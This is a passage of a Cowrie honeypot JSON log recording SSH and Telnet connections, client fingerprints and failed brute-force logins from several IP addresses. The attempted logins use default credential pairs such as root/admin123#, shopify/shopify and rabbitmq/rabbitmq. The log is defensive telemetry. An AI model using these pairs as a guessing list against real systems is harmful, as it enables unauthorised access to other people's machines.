256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:11.107127Z","src_ip":"103.24.63.85","session":"436282f3097b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.409501314163208,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:11.748843Z","src_ip":"186.195.16.41","session":"e31b5f991840","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:11.948878Z","src_ip":"103.24.63.85","session":"436282f3097b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:13.148805Z","src_ip":"103.24.63.85","session":"436282f3097b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95835304260254,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:22.458591Z","src_ip":"192.119.13.58","session":"94e4ba9579b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.07813262939453,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:23.198291Z","src_ip":"192.119.13.58","session":"cb3c76d9153c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44810,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0faa42b704","protocol":"telnet","message":"New connection: 192.119.13.58:44810 (10.17.0.5:23) [session: fb0faa42b704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:25.854079Z"}
{"eventid":"cowrie.session.closed","duration":43.831469774246216,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:27.292209Z","src_ip":"192.119.13.58","session":"547044608db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.439987659454346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:30.068888Z","src_ip":"192.119.13.58","session":"7e04acfcd6c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.28773260116577,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:31.263654Z","src_ip":"192.119.13.58","session":"bdea651b93b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52052,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad320692d8bb","protocol":"telnet","message":"New connection: 192.119.13.58:52052 (10.17.0.5:23) [session: ad320692d8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:34.932717Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0be0aa5606","protocol":"telnet","message":"New connection: 192.119.13.58:54084 (10.17.0.5:23) [session: 0d0be0aa5606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:35.494530Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34878,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f6d2e048f9","protocol":"telnet","message":"New connection: 192.119.13.58:34878 (10.17.0.5:23) [session: 98f6d2e048f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:44.913901Z"}
{"eventid":"cowrie.session.closed","duration":44.21434712409973,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:53.181875Z","src_ip":"192.119.13.58","session":"4e475668cc92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06872272491455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:57.922688Z","src_ip":"192.119.13.58","session":"fb0faa42b704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38454,"dst_ip":"10.17.0.5","dst_port":23,"session":"d42d6ed09b76","protocol":"telnet","message":"New connection: 192.119.13.58:38454 (10.17.0.5:23) [session: d42d6ed09b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:58.936907Z"}
{"eventid":"cowrie.session.closed","duration":0.006608009338378906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:58.943392Z","src_ip":"192.119.13.58","session":"d42d6ed09b76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49494,"dst_ip":"159.203.135.109","dst_port":22,"session":"728979cf637a","protocol":"ssh","message":"New connection: 103.27.238.114:49494 (159.203.135.109:22) [session: 728979cf637a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:05.333100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:05.338134Z","src_ip":"103.27.238.114","session":"728979cf637a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:05.594406Z","src_ip":"103.27.238.114","session":"728979cf637a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny","message":"login attempt [root/johnny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:06.361945Z","src_ip":"103.27.238.114","session":"728979cf637a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:07.624063Z","src_ip":"103.27.238.114","session":"728979cf637a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52304,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1513ba4c695","protocol":"telnet","message":"New connection: 192.119.13.58:52304 (10.17.0.5:23) [session: f1513ba4c695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:09.264593Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33930,"dst_ip":"10.17.0.5","dst_port":23,"session":"09cabb8caed9","protocol":"telnet","message":"New connection: 192.119.13.58:33930 (10.17.0.5:23) [session: 09cabb8caed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:11.660521Z"}
{"eventid":"cowrie.session.closed","duration":41.68733787536621,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:17.181743Z","src_ip":"192.119.13.58","session":"0d0be0aa5606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.85395908355713,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:19.786580Z","src_ip":"192.119.13.58","session":"ad320692d8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b16f156b9afc","protocol":"telnet","message":"New connection: 192.119.13.58:41794 (10.17.0.5:23) [session: b16f156b9afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:20.808209Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.82.246","src_port":36948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a80360c7b31","protocol":"ssh","message":"New connection: 36.26.82.246:36948 (159.203.135.109:22) [session: 4a80360c7b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:21.116139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:21.122021Z","src_ip":"36.26.82.246","session":"4a80360c7b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:21.343431Z","src_ip":"36.26.82.246","session":"4a80360c7b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:22.238732Z","src_ip":"36.26.82.246","session":"4a80360c7b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.403902530670166,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:22.317570Z","src_ip":"192.119.13.58","session":"98f6d2e048f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:23.468636Z","src_ip":"36.26.82.246","session":"4a80360c7b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56266,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b22d1ddbff1","protocol":"telnet","message":"New connection: 192.119.13.58:56266 (10.17.0.5:23) [session: 8b22d1ddbff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:24.372434Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60108,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b221ee54e02","protocol":"telnet","message":"New connection: 192.119.13.58:60108 (10.17.0.5:23) [session: 6b221ee54e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:25.366600Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40236,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ba44a44953","protocol":"telnet","message":"New connection: 192.119.13.58:40236 (10.17.0.5:23) [session: 21ba44a44953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:27.464619Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37298,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8586464dbb","protocol":"telnet","message":"New connection: 192.119.13.58:37298 (10.17.0.5:23) [session: da8586464dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:40.407448Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":38408,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7509995fcd6","protocol":"ssh","message":"New connection: 14.224.227.189:38408 (159.203.135.109:22) [session: f7509995fcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:45.017818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:45.023584Z","src_ip":"14.224.227.189","session":"f7509995fcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:45.258149Z","src_ip":"14.224.227.189","session":"f7509995fcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shopify","password":"shopify","message":"login attempt [shopify/shopify] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:46.226604Z","src_ip":"14.224.227.189","session":"f7509995fcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:47.472116Z","src_ip":"14.224.227.189","session":"f7509995fcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.043959856033325,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:49.308470Z","src_ip":"192.119.13.58","session":"f1513ba4c695","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.53888821601868,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:54:54.199307Z","src_ip":"192.119.13.58","session":"09cabb8caed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.90153455734253,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:04.709567Z","src_ip":"192.119.13.58","session":"b16f156b9afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.38641953468323,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:04.758738Z","src_ip":"192.119.13.58","session":"8b22d1ddbff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36154,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42f3b1bd21b","protocol":"telnet","message":"New connection: 192.119.13.58:36154 (10.17.0.5:23) [session: f42f3b1bd21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:08.832866Z"}
{"eventid":"cowrie.session.closed","duration":42.42295813560486,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:09.887447Z","src_ip":"192.119.13.58","session":"21ba44a44953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.2221884727478,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:12.588658Z","src_ip":"192.119.13.58","session":"6b221ee54e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.83992791175842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:19.247254Z","src_ip":"192.119.13.58","session":"da8586464dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":41861,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd3efe9c261","protocol":"ssh","message":"New connection: 103.24.63.85:41861 (159.203.135.109:22) [session: bcd3efe9c261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:23.042215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:23.050836Z","src_ip":"103.24.63.85","session":"bcd3efe9c261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:23.248701Z","src_ip":"103.24.63.85","session":"bcd3efe9c261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"rabbitmq","message":"login attempt [rabbitmq/rabbitmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:23.841738Z","src_ip":"103.24.63.85","session":"bcd3efe9c261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:25.041445Z","src_ip":"103.24.63.85","session":"bcd3efe9c261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.42069125175476,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:48.253415Z","src_ip":"192.119.13.58","session":"f42f3b1bd21b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36402,"dst_ip":"10.17.0.5","dst_port":23,"session":"251987d0209a","protocol":"telnet","message":"New connection: 192.119.13.58:36402 (10.17.0.5:23) [session: 251987d0209a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:51.177513Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46070,"dst_ip":"10.17.0.5","dst_port":22,"session":"556fd41d6482","protocol":"ssh","message":"New connection: 147.45.197.250:46070 (10.17.0.5:22) [session: 556fd41d6482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.424260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:55:52.429147Z","src_ip":"147.45.197.250","session":"556fd41d6482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":